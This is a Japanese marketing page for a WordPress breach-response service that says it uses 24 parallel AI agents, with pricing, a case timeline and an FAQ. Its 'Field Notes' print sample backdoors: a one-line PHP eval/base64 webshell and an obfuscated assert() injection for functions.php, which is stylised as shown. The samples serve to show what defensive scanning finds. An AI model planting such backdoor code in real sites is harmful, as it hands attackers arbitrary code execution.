WP-AIレスキューby WATRIX無料診断
Operations Live · Tokyo
WordPress Incident Response
Issue 002 — Editorial

事業の生命線が、
侵害された
その瞬間。

フォレンジック調査・横展開リスク調査・個人情報保護法対応まで—— 「マルウェア除去だけで終わる」一般的な業者とは異なる、24体の専門AIエージェントによる完全並列調査

URLを1行入力 · 平均15分以内に折り返し · 後払い対応

watrix-incident-cli — agents.live — 88×24
$ watrix incident-response --case=case-2026-05-001
02:14:37INFOFILES_SCAN started: /var/www/html
02:14:41INFOAGENT[forensics] online · 18,442 files queued
02:14:51ALERTDETECTED wp-content/uploads/2026/05/lk9d8f.php
02:14:52ALERTMATCH YARA: PHP_Backdoor_FilesMan_v2
02:15:02WARNDB_QUERY unauthorized administrator: backdoor@evil
02:15:08INFOAGENT[ir] sealing session tokens · all admins logged out
02:15:14INFOAGENT[hardening] applying CVE-2024-32709 patch
02:15:23INFOREPORT forensics_v1.pdf · 28 pages compiled
$_

※ 上記は実対応案件の処理ログ再現(個別情報は匿名化)

発覚→完全復旧
2:20:00
実証復旧時間
業界唯一
24
AIエージェント並列
標準サポート
100%
個人情報保護法72h報告対応
復旧後
30
再侵入監視

掲載・実績(順次公開予定)

公的機関対応実績
上場企業対応実績
医療法人対応実績
金融機関対応実績
教育機関対応実績
報道機関対応実績

※ 守秘義務契約のため、現時点では具体的な社名・機関名の公開を控えています。NDA締結後に詳細をご案内可能です。

Field Notes — 現場ログ

「マルウェアを駆除した」
と聞いて、本当に安心していいのか。

復旧業者から「終わりました」と連絡が来たあと、 WP-AIレスキューに二次調査を依頼すると、 こういう 見落とし が出てきます。 実際の侵害現場で、AIエージェントが検出した3つのサンプル。

Sample 01 / 01 of 03

uploads配下に仕込まれたwebshell

📄 wp-content/uploads/2026/05/lk9d8f.php

本サンプルは演習環境で実検出されたもの。アクセスログを精査しないと、設置と実行が一致せず見落とされる。

lk9d8f.php
<?php
/* lk9d8f.php — 一見、単なる空ファイル。
   実態は、攻撃者が任意のPHPコードを実行できるバックドア。 */

if (isset($_REQUEST["c"])) {
  @eval(base64_decode($_REQUEST["c"]));
}
//↑ この3行で、サイト全体が攻撃者のものになる。
Sample 02 / 02 of 03

テーマfunctions.phpへの「自動再生成」型注入

📄 wp-content/themes/twentytwentyfour/functions.php

「ファイル名は変えられない、中身だけ汚染」型。テーマ更新で消すと管理画面ごと壊れるため、行範囲特定が必須。

functions.php
// — 末尾に静かに追記される、難読化された再注入トリガー —
$_HK = "Z3ppbmZsYXRl";  // = "gzinflate"
@${$_HK = base64_decode($_HK)};  // 動的関数解決
if (isset($_GET["x"]) && $_GET["x"] === "ping") {
  @assert($_POST["p"] ?? "true");  // 任意コード実行
}
Sample 03 / 03 of 03

wp_options への「リダイレクトハイジャック」

📄 wp_options.siteurl / wp_options._evil_url

ファイル系のスキャンだけでは絶対に見つからない。DBクエリでの直接照合が必要。

wp_options._evil_url
-- DB上の設定値が、ある日こうなっている。
SELECT option_name, option_value
FROM wp_options
WHERE option_name IN ('siteurl', 'home');

-- option_value がこっそり外部ドメインに書き換わると、
-- ログイン画面まで攻撃者制御サーバへリダイレクトされる。

侵害は、「気付かれにくい場所」に潜む。

人手で1ファイルずつ目視している限り、必ず見落としは出ます。 24体のAIエージェントが 同時並列で 全ファイル・全DBレコード・全アクセスログを照合し、 「この行だけ怪しい」を漏らさず拾うのが、WP-AIレスキューのアプローチです。

Case File · 2026.05.001

侵害発覚から完全復旧まで、2時間20分。

これは、ある夜に動いた一件のフィールドレポートです(守秘義務のためサイト名・業種・URLは非公開)。 業界平均が「数日〜1週間」と言われる中で、 なぜこの時間で終わったのか。 4つの章に分けて、その夜の動きを追跡します。

Chapter 1 · Detection
Day 1
02:00 → 02:35

「サイトが転送される」一報、深夜2時。

顧客からSlackに一行: 『ログインできません、変なサイトに飛びます』。WATRIXのインシデントコマンダー(CMD)が起動、24体のAIエージェントが順次オンラインに。

受付からトリアージ完了
5分
侵害仮説の確定
10分
証拠保全(フルスナップショット)
15分
Chapter 2 · Containment
Day 1
02:35 → 03:00

封じ込めは、20分で完結した。

WAFで攻撃元IP帯をブロック、wp-loginを一時的にIP制限、全ユーザーセッション破棄、WordPress SECRET KEY全更新。攻撃者の足場を1つずつ切っていく。

管理画面の一時的アクセス制限
完了
全Cookie無効化(SALT再発行)
完了
不正IPの遮断
完了
Chapter 3 · Recovery
Day 1
03:00 → 04:20

復旧と、横展開リスクの調査。

不正PHP3ファイル、不正DB管理者2名、不正wp_options 1件をすべて特定し除去。同FTPアカウント配下の他サイトにも同じ侵害が伝播していないか、横展開チェック。

検出ファイル
3件
DB改ざんレコード
2件
横展開先サイト
0件(クリーン)
Chapter 4 · Hardening + Report
Day 2
翌朝〜午前中

再発防止と、A4 28ページの報告書。

脆弱なプラグインをアップデート、WAFルールを追加、二要素認証を全管理者に設定。同時に、フォレンジック報告書を作成(侵害経路・影響範囲・対応工程・再発防止策・タイムライン)。

報告書ページ数
28p
再発防止策の数
11項目
個人情報保護委員会報告 草案
添付
朝、出社したらサイトは普通に動いていて、 机の上に分厚い報告書が置いてあった。何が起きたのかも、何をされたのかも、ぜんぶ分かった。

— Day 2 朝、顧客サイト管理者の証言

こんな症状、出ていませんか?

1つでも当てはまったら、サイトはすでに侵害されている可能性があります。今すぐ無料診断(WP-CLI と LOKI-RS による検査)をお試しください。

サイトを開くと、覚えのない別サイトに転送される
Google検索で「このサイトは危険です」と警告される
管理画面に、自分が作っていない管理者ユーザーがいる
サイト上に見覚えのない広告やリンクが表示される
WordPress管理画面にログインできない/パスワードが勝手に変わった
サーバ会社から「異常通信を検知」のメールが届いた
サイトが急に重い、または時間帯によって表示されなくなる
お問い合わせフォームから大量の不審な送信が届いている
公開した覚えのない記事・固定ページが投稿されている
FTPに知らない `.php` ファイルが置かれている
お客様から「サイトが文字化けしている」と連絡が来た
検索結果に、自社と関係ない海外語の記事タイトルが表示される

「専門用語が多くてよく分からない」という方も、ご安心ください。無料診断のフォームに サイトURL だけ入れていただければ、WATRIXが代わりに調べます。報告書もやさしい日本語でお返しします。

こんな事業者のための、
プレミアム緊急対応です。

「マルウェア除去 + 復旧」で完了する一般的な業者では対応しきれない、事業の生命線が侵害された企業のためのサービスです。

2:20:00
実証復旧時間
侵害発覚〜完全復旧の実績
24
並列AIエージェント
業界唯一の並列駆動体制
100%
個人情報保護法対応
72時間報告サポート標準
30
再侵入監視
復旧後の能動的監視を含む

対象とする事業者

個人情報を扱うECサイト・会員サイト
決済機能を持つWordPressサイト
BtoB企業の信用・信頼性が事業の生命線
上場企業・公共機関・医療・金融関連サイト
侵害が報道リスクに直結する事業者
顧問弁護士から「徹底対応」を求められた事業者

24体のAIエージェントが、同時に手を動かします。

WordPress侵害への対応は、フォレンジック封じ込めハードニング法務対応通知文作成横展開リスク調査 など、専門領域が多岐に渡ります。

一人のエンジニアが順番に進めれば、抜け漏れも、時間のロスも生まれます。 WATRIXは 24体の専門AIエージェント を並列で走らせ、各領域の専門家が同時に対応する体制を再現しました。

CMD

CMD(インシデントコマンダー)を中心に、6種の専門エージェントとその補佐エージェント計24体が並列駆動

フォレンジック担当

サーバ・データベース・ログから侵害の入口と経路を特定します

インシデント対応担当(IR)

進行中の被害を止め、攻撃者のセッションと足場を切り離します

ハードニング担当

パッチ適用・権限見直し・WAF導入で再侵入の壁を築きます

法務担当

個人情報保護法の通知義務、警察連携、契約上の責任範囲を整理します

PR・通知文担当

ユーザー・取引先・関係者への謝罪文や告知文をやさしい日本語で起草します

リサーチ担当

同種攻撃の最新動向、IoC(攻撃指標)データベースとの照合を担当します

※ 残り18体は上記6種を補佐する専門エージェント(マルウェア解析、IPレピュテーション照合、DNS履歴調査、SSL/TLS診断、メールヘッダ解析、Cookie解析、CSP診断 ほか)で構成しています。

人間1人では数時間〜数日かかる作業を、AIエージェントの並列実行で 漏らさず・素早く。最終判断は必ず人間のエンジニアが行います。

WordPress公式エコシステム準拠の、
7フェーズ。

場当たり的な対応では、また狙われます。WP-AIレスキューは、WordPress公式が推奨するインシデント対応プロセスを下敷きに、7つのフェーズへ体系化した手順で進めます。

01
5〜10分

トリアージ

症状の確認、侵害仮説の設定、対応優先度の決定

02
10〜30分

マルウェア検出

サーバ全体スキャン、不審ファイル・改ざんファイルの抽出

03
10〜20分

封じ込め

攻撃者のアクセス遮断、被害拡大の停止

04
5〜10分

認証・セッション無効化

全ユーザーの再ログイン強制、不正トークンの破棄

05
30分〜1時間

横展開リスク調査

同サーバ他サイト、DB、メール、関連サービスへの波及確認

06
10〜20分

恒久対策(ハードニング)

脆弱性パッチ、WAF導入、権限見直し、二要素認証の強制

07
5分

証拠保全

ログ保全(改ざん検知用ハッシュ・タイムスタンプ付与)

手順は WordPress.org公式の Hardening WordPress および OWASP Incident Response のガイドラインを参照しています。日本の 個人情報保護法 に基づく通知義務にも対応できる証拠保全(Phase 7)を最後に必ず実施します。

必要な分だけ、最短で。

緊急対応・調査・継続運用の3つから、状況に合わせてお選びいただけます。価格は 業界水準より50%高め に設定しています。理由は次のセクションで詳しくお伝えします。

おすすめ

緊急復旧パック

侵害が確定済み、または強く疑われる方

¥450,000 〜 ¥1,200,000税抜
24時間以内に着手
  • 7フェーズ全工程の実施
  • 24体のAIエージェント並列駆動
  • 復旧作業
  • 簡易フォレンジック報告書
  • 30日間の再侵入監視
緊急対応を依頼する

フォレンジック調査単体

経緯解明・報告書納品が目的の方

¥150,000 〜 ¥300,000税抜
3営業日納期
  • 侵害の入口・経路・影響範囲の特定
  • 証拠保全(ハッシュ化ログの暗号化保管)
  • 詳細フォレンジック報告書(A4で15〜30ページ)
  • 個人情報漏洩の有無の判定
調査だけ依頼する

月次セキュリティ運用

再侵入を防ぎたい方、継続的に守りたい方

¥15,000 〜 ¥75,000/ 月(税抜)
一次対応72時間以内
  • 月1回の脆弱性スキャン
  • WordPress本体・プラグイン・テーマの更新監視
  • 不正ログイン試行の監視・遮断
  • 月次レポート(重要事項のみ)
  • インシデント発生時の優先対応
月次運用を相談する

※ 価格はサイト規模・侵害の深さ・サーバ環境により変動します。正式な見積は無料診断の結果に基づいてご提示します。
※ 紹介でのご依頼は 20%キャッシュバック 対象です(パートナープログラム参照)。

業界の標準サービスとは、
別カテゴリのサービスです。

WP-AIレスキューは「マルウェア除去 + 復旧」止まりの一般的な業者ではありません。フォレンジック調査 + 復旧 + 法務対応 までを24体のAIエージェントが並列で進める、 事業の生命線が侵害された企業向けのプレミアムサービスです。

1. 「マルウェア除去だけ」では終わらない

業界の多くは「不正ファイル除去 → 復旧」までで完了します。WP-AIレスキューは、そこに加えて A4 15〜30ページのフォレンジック報告書、横展開リスク調査、個人情報保護法72時間報告対応、警察被害届支援まで標準でカバーします。

2. 24体のAIエージェントが「漏れない」を担保

人間1人で検査すれば、疲労・経験差・優先順位の判断ミスで必ず漏れが生まれます。WATRIXは24体の専門AIエージェントを並列で動かし、各エージェントが互いの作業をクロスチェックします。漏れない仕組みに投資した分が、価格に反映されています。

3. 事業の生命線を守るための投資

個人情報を扱う、決済を持つ、BtoB信用が重要——そんな事業者にとって、WordPress侵害は事業継続そのものを脅かします。徹底的な対応コストは、二次被害のリスクと比べれば桁が違います。WP-AIレスキューは、そのレベルの事業者に向けた専門サービスです。

侵害見落としで発生し得る二次被害コスト

雑な対応で見落としがあると、数日〜数週間後に再侵入が起きます。その時の損失試算(中小ECサイトの想定):

サイト停止による売上損失(1週間)100万〜500万円
個人情報漏洩通知(郵送+電話対応)50万〜200万円
個人情報保護委員会・警察対応30万〜100万円
顧客流出による中長期的な売上減数百万〜数千万円
信用失墜・レピュテーション回復施策100万〜500万円

※ 2026年4月時点の公開事例・業界レポートをもとにWATRIXが作成した参考試算です。サイト規模・業種により大きく変動します。

一般的な復旧業者との「対応範囲」の違い

項目一般的な復旧業者WP-AIレスキュー
対応の深さマルウェア除去 + 復旧フォレンジック調査 + 復旧 + 横展開調査 + 法務対応
報告書簡易版(数ページ)A4 15〜30ページの詳細フォレンジック報告書
並列処理1〜2名のエンジニアが順次対応24体のAIエージェントが並列
横展開リスク調査オプション扱い標準対応
個人情報保護法72時間報告対応対応外が多数標準サポート
警察被害届の支援対応外が多数報告書記載項目に沿った資料を提供
再侵入監視別契約・別費用30日間の能動的監視を含む
想定対象中小サイト・個人ブログ個人情報・決済・信用が事業の生命線となる事業者

※ 「一般的な復旧業者」は当社調べ(2026年5月時点、国内主要復旧業者5社の公表サービス内容を集計)。

「一度きりの侵害対応」で、また数ヶ月後に同じ目に遭うのか。

「徹底的に漏れなく対応」で、安心して本業に戻るのか。

WATRIXは、後者を必要とする事業者だけに向けたサービスです。

Web制作会社・サーバ会社の皆様へ。

「自社では緊急対応の専門部隊を持てない。でも、お得意先からSOSが来たら断りたくない」—— そんな Web制作会社・サーバ会社・コンサル会社の方へ、パートナープログラムをご用意しました。

紹介フィー20%キャッシュバック

ご紹介いただいた案件のサービス料金から、20%を紹介報酬としてお支払いします。例: 緊急復旧パック ¥80万円のご紹介 → ¥16万円がパートナー様へ。

共同対応で技術力を強化

希望に応じて、対応プロセスを共同で進められます。WATRIXのAIエージェントが解析した結果や対応手順を、貴社のエンジニアと共有しながら復旧。緊急対応のノウハウが、貴社内にも蓄積していきます。

顧客との関係を守る

緊急時に対応できないと、顧客は他社に流れます。WP-AIレスキューにバトンを渡せば、復旧後の運用は貴社に戻せます。WATRIXは、競合提案を一切しません。

こんな方におすすめ

  • WordPressの保守を請け負っているが、緊急復旧の専門部隊はない
  • サーバ会社で「WPだけは対応外」と断っている案件がある
  • コンサル会社・代理店で、技術的に踏み込めない領域がある
  • 夜間・土日の緊急コールに対応しきれない

よくあるご質問

すでに他社で復旧済みですが、依頼できますか?+
はい、可能です。むしろ「復旧したけれど、本当に大丈夫か不安」というお声は非常に多いです。フォレンジック調査単体プラン(¥15万〜)で、見落とされた侵害の痕跡や、再侵入のリスクを徹底的に調べます。多くの場合、再侵入用のバックドアが残っていることが判明します。
料金の支払いタイミングは?+
原則、復旧作業完了後の後払い(請求書発行から30日以内)です。緊急時に「先にお金が必要」とは申し上げません。法人のお客様は銀行振込、個人事業主の方はクレジットカード決済も可能です。
個人情報漏洩の通知義務はどうなりますか?+
日本の個人情報保護法では、漏洩のおそれがある場合、個人情報保護委員会への報告(速報3〜5日以内、確報30日以内)と本人への通知が義務付けられています。WATRIXは、漏洩判定・通知文ドラフト・報告書の作成までサポートします。最終的な判断・提出は貴社で行っていただきますが、必要に応じて顧問弁護士のご紹介も可能です。
復旧失敗時の保証はありますか?+
正直にお伝えします。復旧失敗・二次被害については完全免責とさせていただいております。理由は、サイバー攻撃の性質上、攻撃者の手口や被害の深さは事前に完全には予測できないためです。その代わり、WATRIXは「やれることをすべて、漏らさずやる」ことに全力を注ぎます。24体のAIエージェントを並列で走らせるのも、人間1人では見落としが避けられないからです。「ベストを尽くして、それでも足りなかった場合は免責」という前提を、ご理解いただいた上でご依頼ください。
他社で対応中ですが、乗り換えできますか?+
もちろん可能です。ただし、複数業者の同時並行はトラブルの元になりますので、必ず先方との契約状況をご確認ください。乗り換えの際、現在の対応状況のヒアリングからスタートします。途中まで進んだ作業は活かしますので、追加コストは最小限に抑えます。
緊急時の連絡手段は?+
問い合わせフォーム(推奨・URL自動取得が早い)、メール(rescue@watrix.jp)、Slack Connect(既存パートナー様のみ)でお受けします。電話は受け付けていません。緊急時こそ「症状を文字で残す」ことが、復旧の手がかりになります。フォーム送信から平均15分以内に、担当者から折り返しご連絡します。
海外サーバ・特殊なWP環境でも対応可能ですか?+
はい、対応可能です。AWS・Google Cloud・Cloudflare・WordPress.com VIP・国内主要サーバ(エックスサーバー、さくら、ロリポップ、ヘテムル、お名前.com、KAGOYA、CPI ほか)すべて対応実績があります。マルチサイト構成・WooCommerce・BuddyPress などの特殊環境もご相談ください。
バックアップがない場合はどうすればいいですか?+
ご安心ください。バックアップなしでも、復旧自体は可能です。まず現状サイトのフォレンジック保全(証拠を残す)→ 不正ファイルの特定・除去 → WordPress本体・テーマ・プラグインの再構築(公式リポジトリから取得)→ データベースは、不正レコードを除去しつつ正常化 → 必要なコンテンツ(記事・画像)を救出、という流れで進めます。バックアップがある場合と比べて作業時間は1.5〜2倍になりますが、必ず復旧します。
攻撃者の特定はできますか?+
完全な特定はほぼ不可能です(プロのハッカーはVPN・Tor等で身元を隠します)。ただし、アクセス元IPアドレス、使用された攻撃手法、国・地域の推定、同種の攻撃キャンペーンとの照合(IoCデータベース参照)までは提供できます。警察が動く場合に役立つ情報まで、Phase 7(証拠保全)でしっかり残します。
警察への被害届の支援はできますか?+
被害届の記載項目に沿った報告書を作成します。提出は貴社(被害者)から行っていただきます。被害発生日時・経緯のタイムライン、侵害された情報の種類と件数、攻撃手法の説明、証拠ファイル(ハッシュ化済みログ・スクリーンショット)を提供できます。警察庁のサイバー警察局または管轄の都道府県警サイバー犯罪対策課への相談前にお声がけいただければ、事前打ち合わせも対応可能です。
月次セキュリティ運用とは、具体的に何をしますか?+
脆弱性スキャン(WordPress本体・プラグイン・テーマの既知脆弱性を WPScan データベースと照合)、更新監視(重要なセキュリティ更新の検出・適用)、不正ログイン試行の監視・遮断、ファイル改ざん検知、月次レポート(A4で1〜2ページ)を実施します。緊急時は、月次運用契約のお客様を優先的に対応します。
無料診断と有料診断の違いは何ですか?+
無料診断は公開URLの外部スキャン+プラグイン版数チェック(即時〜24時間、チェックシート1枚)。有料診断(フォレンジック調査)はサーバ内部・データベース・全ログ精査(3営業日、A4 15〜30ページの詳細版)。「侵害されているか分からない」段階では、まず無料診断からお試しください。

まずは無料診断から。

URLを1行入れていただくだけで、WATRIXが状況を判断します。
15分以内に担当者から折り返しご連絡します。

URLを1行入れるだけ・15分以内に折り返し

緊急対応・パートナー申込み

症状の詳細を教えてください。
24時間以内に着手します(緊急復旧パックの場合)。

24時間以内に着手・後払いOK

運営会社

会社名WATRIX合同会社(ワトリックス)
設立2019年6月4日
代表代表社員 高橋 航
所在地東京都江戸川区清新町一丁目4番7-1406号
事業内容業務改善につながるWeb・システム・AIの開発
ミッション伴走型 社外IT部門

WATRIXは「伴走型 社外IT部門」をミッションに、IT部門を持たない中小企業に、まるで社内にIT部門があるかのような安心感をお届けしています。

WP-AIレスキューは、その中でも「もっとも緊急度の高い瞬間」に立ち会うサービスです。復旧後も、月次運用や日常のIT相談で、長くお付き合いいただければ幸いです。